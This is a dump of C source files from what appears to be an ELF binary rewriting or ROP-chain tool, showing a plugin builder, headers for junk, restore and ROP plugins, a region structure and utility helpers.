| 16 | static void add_plugin(private_plugin_builder_t *this, plugin_t *plugin) 17 | { 18 | this->plugins_list->insert_last(this->plugins_list, plugin); 19 | } 20 | 21 | static bool compare_plugins(void *a, void *b) 22 | { 23 | return a == b; 24 | } 25 | 26 | static void remove_plugin(private_plugin_builder_t *this, plugin_t *plugin) 27 | { 28 | this->plugins_list->remove(this->plugins_list, plugin, compare_plugins); 29 | } 30 | 31 | static enumerator_t *get_enumerator(private_plugin_builder_t *this) 32 | { 33 | return this->plugins_list->create_enumerator(this->plugins_list); 34 | } 35 | 36 | static void destroy(private_plugin_builder_t *this) 37 | { 38 | this->plugins_list->destroy(this->plugins_list); 39 | free(this); 40 | this = NULL; 41 | } 42 | 43 | plugin_builder_t *plugin_builder_create() 44 | { 45 | private_plugin_builder_t *this = malloc_thing(private_plugin_builder_t); 46 | 47 | this->public.add_plugin = (void (*)(plugin_builder_t *, plugin_t *)) add_plugin; 48 | this->public.remove_plugin = (void (*)(plugin_builder_t *, plugin_t *)) remove_plugin; 49 | this->public.get_enumerator = (enumerator_t *(*)(plugin_builder_t *)) get_enumerator; 50 | this->public.destroy = (void (*)(plugin_builder_t *)) destroy; 51 | 52 | this->plugins_list = linked_list_create(); 53 | 54 | return &this->public; 55 | } 56 | -------------------------------------------------------------------------------- /src/plugins/plugin_builder.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser builder 3 | */ 4 | 5 | #ifndef __PLUGIN_BUILDER_H_ 6 | #define __PLUGIN_BUILDER_H_ 7 | 8 | #include "utils.h" 9 | #include "plugin.h" 10 | #include "linked_list.h" 11 | 12 | typedef struct plugin_builder_t plugin_builder_t; 13 | 14 | struct plugin_builder_t 15 | { 16 | void (*add_plugin)(plugin_builder_t *, plugin_t *); 17 | void (*remove_plugin)(plugin_builder_t *, plugin_t *); 18 | enumerator_t *(*get_enumerator)(plugin_builder_t *); 19 | void (*destroy)(plugin_builder_t *); 20 | }; 21 | 22 | plugin_builder_t *plugin_builder_create(); 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/plugins/plugin_junk.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Header for junk insertion plugin 3 | */ 4 | 5 | #ifndef __PLUGIN_JUNK_H__ 6 | #define __PLUGIN_JUNK_H__ 7 | 8 | #include "plugin.h" 9 | #include "xed-interface.h" 10 | #include 11 | #include "elf_type.h" 12 | #include "chain.h" 13 | 14 | typedef struct plugin_junk_t plugin_junk_t; 15 | 16 | struct plugin_junk_t 17 | { 18 | plugin_t interface; 19 | }; 20 | 21 | plugin_junk_t *plugin_junk_create(code_t *code); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /src/plugins/plugin_restore.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Header for restore insertion plugin 3 | */ 4 | 5 | #ifndef __PLUGIN_RESTORE_H__ 6 | #define __PLUGIN_RESTORE_H__ 7 | 8 | #include "plugin.h" 9 | #include "xed-interface.h" 10 | #include 11 | #include "elf_type.h" 12 | #include "chain.h" 13 | 14 | typedef struct plugin_restore_t plugin_restore_t; 15 | 16 | struct plugin_restore_t 17 | { 18 | plugin_t interface; 19 | }; 20 | 21 | plugin_restore_t *plugin_restore_create(code_t *code); 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /src/plugins/plugin_rop.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Header for rop insertion plugin 3 | */ 4 | 5 | #ifndef __PLUGIN_ROP_H__ 6 | #define __PLUGIN_ROP_H__ 7 | 8 | #include "plugin.h" 9 | #include "xed-interface.h" 10 | #include 11 | #include "elf_type.h" 12 | #include "constraints.h" 13 | #include "chain.h" 14 | #include "thpool.h" 15 | #include "instruction.h" 16 | 17 | #include "disassembler_xed.h" 18 | #include "disassembler_capstone.h" 19 | 20 | #define MULTITHREAD 21 | 22 | typedef struct plugin_rop_t plugin_rop_t; 23 | 24 | struct plugin_rop_t 25 | { 26 | plugin_t interface; 27 | }; 28 | 29 | typedef struct th_arg th_arg; 30 | 31 | struct th_arg 32 | { 33 | chain_t *target; 34 | chain_t *c; 35 | }; 36 | 37 | plugin_rop_t *plugin_rop_create(code_t *code, char *constraints, chunk_t target); 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /src/region.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Region structure 3 | */ 4 | 5 | #ifndef __REGION_H__ 6 | #define __REGION_H__ 7 | 8 | #include "utils.h" 9 | #include "chunk.h" 10 | 11 | typedef struct region_t region_t; 12 | 13 | struct region_t 14 | { 15 | chunk_t (*get_chunk)(region_t* this); 16 | void (*destroy)(region_t* this); 17 | }; 18 | 19 | region_t *region_create_file(char *filename); 20 | region_t *region_create(); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /src/utils.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Useful tools :) 3 | * 4 | */ 5 | 6 | #include "utils.h" 7 | 8 | /* 9 | * Hooking printf 10 | */ 11 | void logging(char *fmt __attribute__((unused)), ...) 12 | { 13 | va_list arg; 14 | va_start(arg, fmt); 15 | vprintf(fmt, arg); 16 | va_end(arg); 17 | } 18 | 19 | /* 20 | * Implementing non-standard strdup 21 | char *strdup(const char *str) 22 | { 23 | int n = strlen(str) + 1; 24 | char *dup = malloc(n); 25 | if(dup) 26 | { 27 | strcpy(dup, str); 28 | } 29 | return dup; 30 | } 31 | */ 32 | 33 | void hexdump(void *ptr, int buflen) { 34 | unsigned char *buf = (unsigned char*)ptr; 35 | int i, j; 36 | for (i=0; i 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define malloc_thing(thing) ((thing*)malloc(sizeof(thing))) 24 | 25 | typedef unsigned char u_char; 26 | typedef unsigned int u_int32_t; 27 | typedef unsigned int u_int; 28 | 29 | #define memeq(x,y,len) (memcmp(x, y, len) == 0) 30 | #define max(x,y) ((x) > (y) ? (x):(y)) 31 | #define min(x,y) ((x) < (y) ? (x):(y)) 32 | #define streq(x,y) (strcmp(x, y) == 0) 33 | 34 | typedef enum status_e { 35 | SUCCESS, 36 | FAILED, 37 | OUT_OF_RES, 38 | ALREADY_DONE, 39 | NOT_SUPPORTED, 40 | INVALID_ARG, 41 | NOT_FOUND, 42 | PARSE_ERROR, 43 | VERIFY_ERROR, 44 | INVALID_STATE 45 | } status_t; 46 | 47 | /*char *strdup(const char *str);*/ 48 | void logging(char *fmt __attribute__((unused)), ...); 49 | void hexdump(void *ptr, int buflen); 50 | 51 | typedef uint16_t Elf32_Section; 52 | typedef uint16_t Elf64_Section; 53 | #define DT_GNU_HASH 0x6ffffef5 /* GNU-style hash table. */ 54 | #define PT_GNU_EH_FRAME 0x6474e550 /* GCC .eh_frame_hdr segment */ 55 | 56 | #endif 57 | --------------------------------------------------------------------------------